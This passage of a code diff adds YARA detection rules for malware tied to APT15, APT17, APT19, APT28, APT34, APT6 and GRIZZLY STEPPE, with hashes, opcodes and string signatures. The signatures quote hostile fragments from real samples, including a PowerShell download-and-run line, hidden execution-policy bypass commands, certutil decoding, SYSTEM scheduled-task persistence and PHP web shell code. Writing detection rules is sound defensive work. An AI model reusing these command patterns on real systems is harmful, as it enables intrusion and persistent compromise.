$string3 = "%snewcmd.exe" fullword
|
||||
$string4 = "%s~clitemp%08x.tmp" fullword
|
||||
$string6 = "myWObject" fullword
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and 2 of them
|
||||
}
|
||||
|
||||
/*
|
||||
rule malware_apt15_bs2005{
|
||||
meta:
|
||||
author = "Ahmed Zaki"
|
||||
md5 = "ed21ce2beee56f0a0b1c5a62a80c128b"
|
||||
description = "APT15 bs2005"
|
||||
strings:
|
||||
$ = "%s&%s&%s&%s" wide ascii
|
||||
$ = "%s\\%s" wide ascii fullword
|
||||
$ = "WarOnPostRedirect" wide ascii fullword
|
||||
$ = "WarnonZoneCrossing" wide ascii fullword
|
||||
$ = "^^^^^" wide ascii fullword
|
||||
$ = /"?%s\s*"?\s*\/C\s*"?%s\s*>\s*\\?"?%s\\(\w+\.\w+)?"\s*2>&1\s*"?/
|
||||
$ ="IEharden" wide ascii fullword
|
||||
$ ="DEPOff" wide ascii fullword
|
||||
$ ="ShownVerifyBalloon" wide ascii fullword
|
||||
$ ="IEHardenIENoWarn" wide ascii fullword
|
||||
condition:
|
||||
( uint16(0) == 0x5A4D and 5 of them ) or
|
||||
( uint16(0) == 0x5A4D and 3 of them and
|
||||
( pe.imports("advapi32.dll", "CryptDecrypt") and pe.imports("advapi32.dll", "CryptEncrypt") and
|
||||
pe.imports("ole32.dll", "CoCreateInstance")
|
||||
)
|
||||
)
|
||||
}
|
||||
*/
|
||||
|
||||
rule malware_apt15_royaldll {
|
||||
meta:
|
||||
author = "David Cannings"
|
||||
description = "DLL implant, originally rights.dll and runs as a service"
|
||||
sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
|
||||
strings:
|
||||
/*
|
||||
56 push esi
|
||||
B8 A7 C6 67 4E mov eax, 4E67C6A7h
|
||||
83 C1 02 add ecx, 2
|
||||
BA 04 00 00 00 mov edx, 4
|
||||
57 push edi
|
||||
90 nop
|
||||
*/
|
||||
// JSHash implementation (Justin Sobel's hash algorithm)
|
||||
$opcodes_jshash = { B8 A7 C6 67 4E 83 C1 02 BA 04 00 00 00 57 90 }
|
||||
|
||||
/*
|
||||
0F B6 1C 03 movzx ebx, byte ptr [ebx+eax]
|
||||
8B 55 08 mov edx, [ebp+arg_0]
|
||||
30 1C 17 xor [edi+edx], bl
|
||||
47 inc edi
|
||||
3B 7D 0C cmp edi, [ebp+arg_4]
|
||||
72 A4 jb short loc_10003F31
|
||||
*/
|
||||
// Encode loop, used to "encrypt" data before DNS request
|
||||
$opcodes_encode = { 0F B6 1C 03 8B 55 08 30 1C 17 47 3B 7D 0C }
|
||||
|
||||
/*
|
||||
68 88 13 00 00 push 5000 # Also seen 3000, included below
|
||||
FF D6 call esi ; Sleep
|
||||
4F dec edi
|
||||
75 F6 jnz short loc_10001554
|
||||
*/
|
||||
// Sleep loop
|
||||
$opcodes_sleep_loop = { 68 (88|B8) (13|0B) 00 00 FF D6 4F 75 F6 }
|
||||
|
||||
// Generic strings
|
||||
$ = "Nwsapagent" fullword
|
||||
$ = "\"%s\">>\"%s\"\\s.txt"
|
||||
$ = "myWObject" fullword
|
||||
$ = "del c:\\windows\\temp\\r.exe /f /q"
|
||||
$ = "del c:\\windows\\temp\\r.ini /f /q"
|
||||
|
||||
condition:
|
||||
3 of them
|
||||
}
|
||||
|
||||
rule malware_apt15_royaldll_2 {
|
||||
meta:
|
||||
author = "Ahmed Zaki"
|
||||
sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
|
||||
description = "DNS backdoor used by APT15"
|
||||
strings:
|
||||
$= "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" wide ascii
|
||||
$= "netsvcs" wide ascii fullword
|
||||
$= "%SystemRoot%\\System32\\svchost.exe -k netsvcs" wide ascii fullword
|
||||
$= "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
|
||||
$= "myWObject" wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and all of them
|
||||
and pe.exports("ServiceMain")
|
||||
and filesize > 50KB and filesize < 600KB
|
||||
}
|
||||
|
||||
rule malware_apt15_exchange_tool {
|
||||
meta:
|
||||
author = "Ahmed Zaki"
|
||||
md5 = "d21a7e349e796064ce10f2f6ede31c71"
|
||||
description = "This is a an exchange enumeration/hijacking tool used by an APT 15"
|
||||
strings:
|
||||
$s1= "subjectname" fullword
|
||||
$s2= "sendername" fullword
|
||||
$s3= "WebCredentials" fullword
|
||||
$s4= "ExchangeVersion" fullword
|
||||
$s5= "ExchangeCredentials" fullword
|
||||
$s6= "slfilename" fullword
|
||||
$s7= "EnumMail" fullword
|
||||
$s8= "EnumFolder" fullword
|
||||
$s9= "set_Credentials" fullword
|
||||
$s18 = "/v or /t is null" wide
|
||||
$s24 = "2013sp1" wide
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and all of them
|
||||
}
|
||||
|
||||
rule malware_apt15_generic {
|
||||
meta:
|
||||
author = "David Cannings"
|
||||
description = "Find generic data potentially relating to AP15 tools"
|
||||
strings:
|
||||
// Appears to be from copy/paste code
|
||||
$str01 = "myWObject" fullword
|
||||
$str02 = "myRObject" fullword
|
||||
|
||||
/*
|
||||
6A 02 push 2 ; dwCreationDisposition
|
||||
6A 00 push 0 ; lpSecurityAttributes
|
||||
6A 00 push 0 ; dwShareMode
|
||||
68 00 00 00 C0 push 0C0000000h ; dwDesiredAccess
|
||||
50 push eax ; lpFileName
|
||||
FF 15 44 F0 00 10 call ds:CreateFileA
|
||||
*/
|
||||
// Arguments for CreateFileA
|
||||
$opcodes01 = { 6A (02|03) 6A 00 6A 00 68 00 00 00 C0 50 FF 15 }
|
||||
condition:
|
||||
2 of them
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-10-03
|
||||
Identifier: APT17 Oct 10
|
||||
Reference: https://goo.gl/puVc9q
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule APT17_Malware_Oct17_1 {
|
||||
meta:
|
||||
description = "Detects APT17 malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/puVc9q"
|
||||
date = "2017-10-03"
|
||||
hash1 = "dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83"
|
||||
strings:
|
||||
$s1 = "\\spool\\prtprocs\\w32x86\\localspl.dll" fullword ascii
|
||||
$s2 = "\\spool\\prtprocs\\x64\\localspl.dll" fullword ascii
|
||||
$s3 = "\\msvcrt.dll" fullword ascii
|
||||
$s4 = "\\TSMSISrv.dll" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 500KB and all of them )
|
||||
}
|
||||
|
||||
rule APT17_Malware_Oct17_2 {
|
||||
meta:
|
||||
description = "Detects APT17 malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/puVc9q"
|
||||
date = "2017-10-03"
|
||||
hash1 = "20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27"
|
||||
strings:
|
||||
$x1 = "Cookie: __xsptplus=%s" fullword ascii
|
||||
$x2 = "http://services.fiveemotions.co.jp" fullword ascii
|
||||
$x3 = "http://%s/ja-JP/2015/%d/%d/%d%d%d%d%d%d%d%d.gif" fullword ascii
|
||||
|
||||
$s1 = "FoxHTTPClient_EXE_x86.exe" fullword ascii
|
||||
$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3072" ascii
|
||||
$s3 = "hWritePipe2 Error:%d" fullword ascii
|
||||
$s4 = "Not Support This Function!" fullword ascii
|
||||
$s5 = "Global\\PnP_No_Management" fullword ascii
|
||||
$s6 = "Content-Type: image/x-png" fullword ascii
|
||||
$s7 = "Accept-Language: ja-JP" fullword ascii
|
||||
$s8 = "IISCMD Error:%d" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and (
|
||||
pe.exports("_foo@0") or
|
||||
1 of ($x*) or
|
||||
6 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule APT17_Unsigned_Symantec_Binary_EFA {
|
||||
meta:
|
||||
description = "Detects APT17 malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/puVc9q"
|
||||
date = "2017-10-03"
|
||||
hash1 = "128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f"
|
||||
strings:
|
||||
$s1 = "Copyright (c) 2007 - 2011 Symantec Corporation" fullword wide
|
||||
$s2 = "\\\\.\\SYMEFA" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and all of them and pe.number_of_signatures == 0 )
|
||||
}
|
||||
|
||||
rule APT17_Malware_Oct17_Gen {
|
||||
meta:
|
||||
description = "Detects APT17 malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/puVc9q"
|
||||
date = "2017-10-03"
|
||||
hash1 = "0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2"
|
||||
hash2 = "07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d"
|
||||
hash3 = "ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550"
|
||||
strings:
|
||||
$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)" fullword ascii
|
||||
$x2 = "http://%s/imgres?q=A380&hl=en-US&sa=X&biw=1440&bih=809&tbm=isus&tbnid=aLW4-J8Q1lmYBM" ascii
|
||||
|
||||
$s1 = "hWritePipe2 Error:%d" fullword ascii
|
||||
$s2 = "Not Support This Function!" fullword ascii
|
||||
$s3 = "Cookie: SESSIONID=%s" fullword ascii
|
||||
$s4 = "http://0.0.0.0/1" fullword ascii
|
||||
$s5 = "Content-Type: image/x-png" fullword ascii
|
||||
$s6 = "Accept-Language: en-US" fullword ascii
|
||||
$s7 = "IISCMD Error:%d" fullword ascii
|
||||
$s8 = "[IISEND=0x%08X][Recv:] 0x%08X %s" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and (
|
||||
pe.imphash() == "414bbd566b700ea021cfae3ad8f4d9b9" or
|
||||
1 of ($x*) or
|
||||
6 of them
|
||||
)
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-05-14
|
||||
Identifier: APT17
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule APT17_Sample_FXSST_DLL {
|
||||
meta:
|
||||
description = "Detects Samples related to APT17 activity - file FXSST.DLL"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/ZiJyQv"
|
||||
date = "2015-05-14"
|
||||
hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
|
||||
strings:
|
||||
$x1 = "Microsoft? Windows? Operating System" fullword wide
|
||||
$x2 = "fxsst.dll" fullword ascii
|
||||
|
||||
$y1 = "DllRegisterServer" fullword ascii
|
||||
$y2 = ".cSV" fullword ascii
|
||||
|
||||
$s1 = "GetLastActivePopup"
|
||||
$s2 = "Sleep"
|
||||
$s3 = "GetModuleFileName"
|
||||
$s4 = "VirtualProtect"
|
||||
$s5 = "HeapAlloc"
|
||||
$s6 = "GetProcessHeap"
|
||||
$s7 = "GetCommandLine"
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 800KB and
|
||||
( all of ($x*) or all of ($y*) ) and all of ($s*)
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Ian.Ahl@fireeye.com @TekDefense, modified by Florian Roth
|
||||
Date: 2017-06-05
|
||||
Identifier: APT19
|
||||
Reference: https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
|
||||
*/
|
||||
|
||||
rule Beacon_K5om {
|
||||
meta:
|
||||
description = "Detects Meterpreter Beacon - file K5om.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
|
||||
date = "2017-06-07"
|
||||
hash1 = "e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9"
|
||||
strings:
|
||||
$x1 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
|
||||
$x2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
|
||||
$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
|
||||
|
||||
$s1 = "Could not open process token: %d (%u)" fullword ascii
|
||||
$s2 = "0fd00b.dll" fullword ascii
|
||||
$s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
|
||||
$s4 = "Could not connect to pipe (%s): %d" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 3 of them ) )
|
||||
}
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule FE_LEGALSTRIKE_MACRO {
|
||||
meta:
|
||||
version=".1"
|
||||
filetype="MACRO"
|
||||
author="Ian.Ahl@fireeye.com @TekDefense - modified by Florian Roth"
|
||||
date="2017-06-02"
|
||||
description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
|
||||
strings:
|
||||
// OBSFUCATION
|
||||
$ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
|
||||
// wscript
|
||||
$wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
|
||||
$wsobj2 = "Obj.Run " ascii wide
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule FE_LEGALSTRIKE_RTF {
|
||||
meta:
|
||||
version=".1"
|
||||
filetype="MACRO"
|
||||
author="joshua.kim@FireEye. - modified by Florian Roth"
|
||||
date="2017-06-02"
|
||||
description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
|
||||
strings:
|
||||
$lnkinfo = "4c0069006e006b0049006e0066006f"
|
||||
$encoded1 = "4f4c45324c696e6b"
|
||||
$encoded2 = "52006f006f007400200045006e007400720079"
|
||||
$encoded3 = "4f0062006a0049006e0066006f"
|
||||
$encoded4 = "4f006c0065"
|
||||
$datastore = "\\*\\datastore"
|
||||
condition:
|
||||
uint32be(0) == 0x7B5C7274 and all of them
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: YarGen Rule Generator
|
||||
Date: 2015-06-02
|
||||
Identifier: APT28
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule APT28_CHOPSTICK {
|
||||
meta:
|
||||
description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/v3ebal"
|
||||
date = "2015-06-02"
|
||||
hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
|
||||
score = 60
|
||||
strings:
|
||||
$s0 = "jhuhugit.tmp" fullword ascii /* score: '14.005' */
|
||||
$s8 = "KERNEL32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 14405 times */
|
||||
$s9 = "IsDebuggerPresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3518 times */
|
||||
$s10 = "IsProcessorFeaturePresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1383 times */
|
||||
$s11 = "TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13081 times */
|
||||
$s13 = "DeleteFileA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1384 times */
|
||||
$s15 = "GetProcessHeap" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5875 times */
|
||||
$s16 = "!This program cannot be run in DOS mode." fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 20908 times */
|
||||
$s17 = "LoadLibraryA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5461 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 722KB and all of them
|
||||
}
|
||||
|
||||
rule APT28_SourFace_Malware1 {
|
||||
meta:
|
||||
description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
|
||||
date = "2015-06-01"
|
||||
hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
|
||||
hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
|
||||
score = 60
|
||||
strings:
|
||||
$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s2 = "\\chkdbg.log" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 62KB and all of them
|
||||
}
|
||||
|
||||
rule APT28_SourFace_Malware2 {
|
||||
meta:
|
||||
description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
|
||||
date = "2015-06-01"
|
||||
super_rule = 1
|
||||
hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
|
||||
hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
|
||||
hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
|
||||
hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
|
||||
hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
|
||||
hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
|
||||
score = 60
|
||||
strings:
|
||||
$s0 = "coreshell.dll" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s1 = "Applicate" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 550KB and all of them
|
||||
}
|
||||
|
||||
rule APT28_SourFace_Malware3 {
|
||||
meta:
|
||||
description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
|
||||
date = "2015-06-01"
|
||||
super_rule = 1
|
||||
hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
|
||||
hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
|
||||
hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
|
||||
hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
|
||||
hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
|
||||
hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
|
||||
hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
|
||||
hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
|
||||
hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
|
||||
hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
|
||||
score = 60
|
||||
strings:
|
||||
$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 550KB and all of them
|
||||
}
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-12-29
|
||||
Identifier: GRIZZLY STEPPE
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule GRIZZLY_STEPPE_Malware_1 {
|
||||
meta:
|
||||
description = "Auto-generated rule - file HRDG022184_certclint.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/WVflzO"
|
||||
date = "2016-12-29"
|
||||
hash1 = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
|
||||
strings:
|
||||
$s1 = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb" fullword ascii
|
||||
$s2 = "Repeat last find command)Replace specific text with different text" fullword wide
|
||||
$s3 = "l\\Processor(0)\\% Processor Time" fullword wide
|
||||
$s6 = "Self Process" fullword wide
|
||||
$s7 = "Default Process" fullword wide
|
||||
$s8 = "Star Polk.exe" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 300KB and 4 of them )
|
||||
}
|
||||
|
||||
rule GRIZZLY_STEPPE_Malware_2 {
|
||||
meta:
|
||||
description = "Auto-generated rule - file 9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/WVflzO"
|
||||
date = "2016-12-29"
|
||||
hash1 = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
|
||||
hash2 = "55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641"
|
||||
strings:
|
||||
$x1 = "GoogleCrashReport.dll" fullword ascii
|
||||
|
||||
$s1 = "CrashErrors" fullword ascii
|
||||
$s2 = "CrashSend" fullword ascii
|
||||
$s3 = "CrashAddData" fullword ascii
|
||||
$s4 = "CrashCleanup" fullword ascii
|
||||
$s5 = "CrashInit" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and $x1 ) or ( all of them )
|
||||
}
|
||||
|
||||
rule PAS_TOOL_PHP_WEB_KIT_mod {
|
||||
meta:
|
||||
description = "Detects PAS Tool PHP Web Kit"
|
||||
reference = "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity"
|
||||
author = "US CERT - modified by Florian Roth due to performance reasons"
|
||||
date = "2016/12/29"
|
||||
strings:
|
||||
$php = "<?php"
|
||||
$base64decode1 = "='base'.("
|
||||
$strreplace = "str_replace(\"\\n\", ''"
|
||||
$md5 = ".substr(md5(strrev("
|
||||
$gzinflate = "gzinflate"
|
||||
$cookie = "_COOKIE"
|
||||
$isset = "isset"
|
||||
condition:
|
||||
$php at 0 and
|
||||
(filesize > 10KB and filesize < 30KB) and
|
||||
#cookie == 2 and
|
||||
#isset == 3 and
|
||||
all of them
|
||||
}
|
||||
|
||||
rule WebShell_PHP_Web_Kit_v3 {
|
||||
meta:
|
||||
description = "Detects PAS Tool PHP Web Kit"
|
||||
reference = "https://github.com/wordfence/grizzly"
|
||||
author = "Florian Roth"
|
||||
date = "2016/01/01"
|
||||
strings:
|
||||
$php = "<?php $"
|
||||
$php2 = "@assert(base64_decode($_REQUEST["
|
||||
|
||||
$s1 = "(str_replace(\"\\n\", '', '"
|
||||
$s2 = "(strrev($" ascii
|
||||
$s3 = "de'.'code';" ascii
|
||||
condition:
|
||||
( $php at 0 or $php2 ) and
|
||||
filesize > 8KB and filesize < 100KB and
|
||||
all of ($s*)
|
||||
}
|
||||
|
||||
rule WebShell_PHP_Web_Kit_v4 {
|
||||
meta:
|
||||
description = "Detects PAS Tool PHP Web Kit"
|
||||
reference = "https://github.com/wordfence/grizzly"
|
||||
author = "Florian Roth"
|
||||
date = "2016/01/01"
|
||||
strings:
|
||||
$php = "<?php $"
|
||||
|
||||
$s1 = "(StR_ReplAcE(\"\\n\",'',"
|
||||
$s2 = ";if(PHP_VERSION<'5'){" ascii
|
||||
$s3 = "=SuBstr_rePlACe(" ascii
|
||||
condition:
|
||||
$php at 0 and
|
||||
filesize > 8KB and filesize < 100KB and
|
||||
2 of ($s*)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,55 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-12-07
|
||||
Identifier: APT 34
|
||||
Reference: https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule APT34_Malware_HTA {
|
||||
meta:
|
||||
description = "Detects APT 34 malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
|
||||
date = "2017-12-07"
|
||||
hash1 = "f6fa94cc8efea0dbd7d4d4ca4cf85ac6da97ee5cf0c59d16a6aafccd2b9d8b9a"
|
||||
strings:
|
||||
$x1 = "WshShell.run \"cmd.exe /C C:\\ProgramData\\" ascii
|
||||
$x2 = ".bat&ping 127.0.0.1 -n 6 > nul&wscript /b" ascii
|
||||
$x3 = "cmd.exe /C certutil -f -decode C:\\ProgramData\\" ascii
|
||||
$x4 = "a.WriteLine(\"set Shell0 = CreateObject(" ascii
|
||||
$x5 = "& vbCrLf & \"Shell0.run" ascii
|
||||
|
||||
$s1 = "<title>Blog.tkacprow.pl: HTA Hello World!</title>" fullword ascii
|
||||
$s2 = "<body onload=\"test()\">" fullword ascii
|
||||
condition:
|
||||
filesize < 60KB and ( 1 of ($x*) or all of ($s*) )
|
||||
}
|
||||
|
||||
rule APT34_Malware_Exeruner {
|
||||
meta:
|
||||
description = "Detects APT 34 malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
|
||||
date = "2017-12-07"
|
||||
hash1 = "c75c85acf0e0092d688a605778425ba4cb2a57878925eee3dc0f4dd8d636a27a"
|
||||
strings:
|
||||
$x1 = "\\obj\\Debug\\exeruner.pdb" ascii
|
||||
$x2 = "\"wscript.shell`\")`nShell0.run" wide
|
||||
$x3 = "powershell.exe -exec bypass -enc \" + ${global:$http_ag} +" wide
|
||||
$x4 = "/c powershell -exec bypass -window hidden -nologo -command " fullword wide
|
||||
$x5 = "\\UpdateTasks\\JavaUpdatesTasksHosts\\" wide
|
||||
$x6 = "schtasks /create /F /ru SYSTEM /sc minute /mo 1 /tn" wide
|
||||
$x7 = "UpdateChecker.ps1 & ping 127.0.0.1" wide
|
||||
$s8 = "exeruner.exe" fullword wide
|
||||
$s9 = "${global:$address1} = $env:ProgramData + \"\\Windows\\Microsoft\\java\";" fullword wide
|
||||
$s10 = "C:\\ProgramData\\Windows\\Microsoft\\java" fullword wide
|
||||
$s11 = "function runByVBS" fullword wide
|
||||
$s12 = "$84e31856-683b-41c0-81dd-a02d8b795026" fullword ascii
|
||||
$s13 = "${global:$dns_ag} = \"aQBmACAAKAAoAEcAZQB0AC0AVwBtAGk" wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-04-09
|
||||
Identifier: APT 6 Malware
|
||||
*/
|
||||
|
||||
rule APT6_Malware_Sample_Gen {
|
||||
meta:
|
||||
description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
|
||||
author = "Florian Roth"
|
||||
reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
|
||||
date = "2016-04-09"
|
||||
score = 80
|
||||
type = "file"
|
||||
hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
|
||||
hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
|
||||
strings:
|
||||
/* Specific strings from samples */
|
||||
$x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
|
||||
$x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
|
||||
|
||||
/* Malware Strings */
|
||||
$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
|
||||
$s2 = "DUMPTHIN" fullword ascii
|
||||
$s3 = "\"C:\\WINDOWS\\system32\\" fullword ascii
|
||||
$s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
|
||||
$s5 = "/tbedrs.dll" fullword ascii
|
||||
$s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
|
||||
$s7 = "NSIS_Inetc (Mozilla)" fullword ascii
|
||||
$s8 = "/logos.gif" fullword ascii
|
||||
$s9 = "synflood" fullword ascii
|
||||
$s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
|
||||
$s11 = "udpflood" fullword ascii
|
||||
$s12 = "shellcode" fullword ascii
|
||||
$s13 = "&PassWord=" fullword ascii
|
||||
